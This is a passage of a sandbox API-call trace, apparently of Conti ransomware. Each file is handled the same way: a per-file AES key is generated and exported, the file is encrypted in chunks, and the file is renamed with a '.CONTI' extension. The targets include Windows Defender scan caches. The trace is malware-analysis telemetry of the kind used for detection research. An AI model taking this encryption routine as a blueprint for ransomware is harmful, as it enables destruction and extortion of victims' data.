	[0114.595] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.595] CloseHandle (hObject=0x418) returned 1
	[0114.595] GetProcessHeap () returned 0x1720000
	[0114.595] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.595] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml"
	[0114.595] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.596] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\90__Connections_Cellular_3 (Denmark)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\90__connections_cellular_3 (denmark)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.596] GetProcessHeap () returned 0x1720000
	[0114.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.596] CryptDestroyKey (hKey=0x6b7eaf8) returned 1
	[0114.596] GetProcessHeap () returned 0x1720000
	[0114.596] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e11f8 | out: hHeap=0x1720000) returned 1
	[0114.596] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0114.597] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fe00 | out: phKey=0x6b4fe00*=0x6b7eaf8) returned 1
	[0114.597] CryptExportKey (in: hKey=0x6b7eaf8, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fe04, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4fe04*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0114.597] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0114.597] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0114.598] GetLastError () returned 0x0
	[0114.598] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=710) returned 1
	[0114.598] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c6
	[0114.598] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.598] SetEndOfFile (hFile=0x418) returned 1
	[0114.598] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.598] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.598] WriteFile (in: hFile=0x418, lpBuffer=0x6b4fe04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4fe04*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0115.264] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.264] ReadFile (in: hFile=0x418, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2c6, lpOverlapped=0x0) returned 1
	[0115.264] CryptEncrypt (in: hKey=0x6b7eaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2c6, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2d0) returned 1
	[0115.264] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.264] WriteFile (in: hFile=0x418, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2d0, lpOverlapped=0x0) returned 1
	[0115.264] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.264] WriteFile (in: hFile=0x418, lpBuffer=0x6b4fdf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b4fdf8*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0115.264] SetFilePointer (in: hFile=0x418, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.264] CloseHandle (hObject=0x418) returned 1
	[0116.246] GetProcessHeap () returned 0x1720000
	[0116.246] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x658fec8
	[0116.246] lstrcpyW (in: lpString1=0x658fec8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml"
	[0116.246] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml.CONTI"
	[0116.246] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\91__Connections_Cellular_3 (Denmark)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\91__connections_cellular_3 (denmark)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0116.523] GetProcessHeap () returned 0x1720000
	[0116.523] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x658fec8 | out: hHeap=0x1720000) returned 1
	[0116.523] CryptDestroyKey (hKey=0x6b7eaf8) returned 1
	[0116.523] GetProcessHeap () returned 0x1720000
	[0116.523] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b59540 | out: hHeap=0x1720000) returned 1
	[0116.523] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0116.523] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d738 | out: phKey=0x6b4d738*=0x6b7ec78) returned 1
	[0116.523] CryptExportKey (in: hKey=0x6b7ec78, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d73c, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4d73c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0116.524] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cb")) returned 0x20
	[0116.524] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0116.525] GetLastError () returned 0x0
	[0116.525] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=393209) returned 1
	[0116.525] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5fff9
	[0116.525] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.525] SetEndOfFile (hFile=0x384) returned 1
	[0116.525] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.525] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.525] WriteFile (in: hFile=0x384, lpBuffer=0x6b4d73c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4d73c*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0116.527] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.528] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x5fff9, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x5fff9, lpOverlapped=0x0) returned 1
	[0116.531] CryptEncrypt (in: hKey=0x6b7ec78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x5fff9, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x60000) returned 1
	[0116.531] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.531] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x60000, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x60000, lpOverlapped=0x0) returned 1
	[0116.532] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.532] WriteFile (in: hFile=0x384, lpBuffer=0x6b4d730*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b4d730*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0116.532] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.533] CloseHandle (hObject=0x384) returned 1
	[0116.533] GetProcessHeap () returned 0x1720000
	[0116.533] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x658fec8
	[0116.533] lstrcpyW (in: lpString1=0x658fec8, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB"
	[0116.533] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB.CONTI"
	[0116.533] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cb"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.CB.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.cb.conti")) returned 1
	[0116.534] GetProcessHeap () returned 0x1720000
	[0116.534] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x658fec8 | out: hHeap=0x1720000) returned 1
	[0116.534] CryptDestroyKey (hKey=0x6b7ec78) returned 1
	[0116.534] GetProcessHeap () returned 0x1720000
	[0116.534] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173c7a0 | out: hHeap=0x1720000) returned 1
	[0116.534] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0116.535] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e2a0 | out: phKey=0x6b4e2a0*=0x6b7ec78) returned 1
	[0116.535] CryptExportKey (in: hKey=0x6b7ec78, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e2a4, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4e2a4*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0116.535] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin")) returned 0x20
	[0116.537] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0116.537] GetLastError () returned 0x0
	[0116.537] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=10661015) returned 1
	[0116.537] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xa2ac97
	[0116.537] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.537] SetEndOfFile (hFile=0x384) returned 1
	[0116.537] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.537] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.537] WriteFile (in: hFile=0x384, lpBuffer=0x6b4e2a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3e3fe44, lpOverlapped=0x0 | out: lpBuffer=0x6b4e2a4*, lpNumberOfBytesWritten=0x3e3fe44*=0x20c, lpOverlapped=0x0) returned 1
	[0116.539] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.539] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x500000, lpOverlapped=0x0) returned 1
	[0119.999] CryptEncrypt (in: hKey=0x6b7ec78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000) returned 1
	[0120.030] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.030] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x500000, lpOverlapped=0x0) returned 1
	[0123.244] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x500000, lpOverlapped=0x0) returned 1
	[0124.045] CryptEncrypt (in: hKey=0x6b7ec78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x500000) returned 1
	[0124.051] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.051] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x500000, lpOverlapped=0x0) returned 1
	[0126.731] ReadFile (in: hFile=0x384, lpBuffer=0xa2a0000, nNumberOfBytesToRead=0x2ac97, lpNumberOfBytesRead=0x3e3fe64, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesRead=0x3e3fe64*=0x2ac97, lpOverlapped=0x0) returned 1
	[0126.740] CryptEncrypt (in: hKey=0x6b7ec78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2ac97, dwBufLen=0x500000 | out: pbData=0xa2a0000*, pdwDataLen=0x3e3fe5c*=0x2aca0) returned 1
	[0126.740] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.740] WriteFile (in: hFile=0x384, lpBuffer=0xa2a0000*, nNumberOfBytesToWrite=0x2aca0, lpNumberOfBytesWritten=0x3e3fe78, lpOverlapped=0x0 | out: lpBuffer=0xa2a0000*, lpNumberOfBytesWritten=0x3e3fe78*=0x2aca0, lpOverlapped=0x0) returned 1
	[0128.874] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.874] WriteFile (in: hFile=0x384, lpBuffer=0x6b4e298*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3e3fe90, lpOverlapped=0x0 | out: lpBuffer=0x6b4e298*, lpNumberOfBytesWritten=0x3e3fe90*=0x8, lpOverlapped=0x0) returned 1
	[0128.874] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0128.874] CloseHandle (hObject=0x384) returned 1
	[0128.875] GetProcessHeap () returned 0x1720000
	[0128.875] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0128.875] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin"
	[0128.875] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CONTI"
	[0128.875] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.conti")) returned 1
	[0128.876] GetProcessHeap () returned 0x1720000
	[0128.876] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0128.876] CryptDestroyKey (hKey=0x6b7ec78) returned 1
	[0128.876] GetProcessHeap () returned 0x1720000
	[0128.876] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180cb20 | out: hHeap=0x1720000) returned 1
	[0128.876] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3e3feb4, lpCompletionKey=0x3e3feb8, lpOverlapped=0x3e3fec4) returned 1
	[0128.876] CryptGenKey (in: hProv=0x1753700, Algid=0x6610, dwFlags=0x1, phKey=0x6b46528 | out: phKey=0x6b46528*=0x17c8430) returned 1
	[0128.876] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x173a8d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4652c, pdwDataLen=0x3e3fe8c | out: pbData=0x6b4652c*, pdwDataLen=0x3e3fe8c*=0x20c) returned 1
	[0128.878] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.021.etl")) returned 0x2020
	[0128.878] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.021.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.021.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0128.878] GetLastError () returned 0x0
	[0128.878] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3e3fe38 | out: lpFileSize=0x3e3fe38*=12288) returned 1
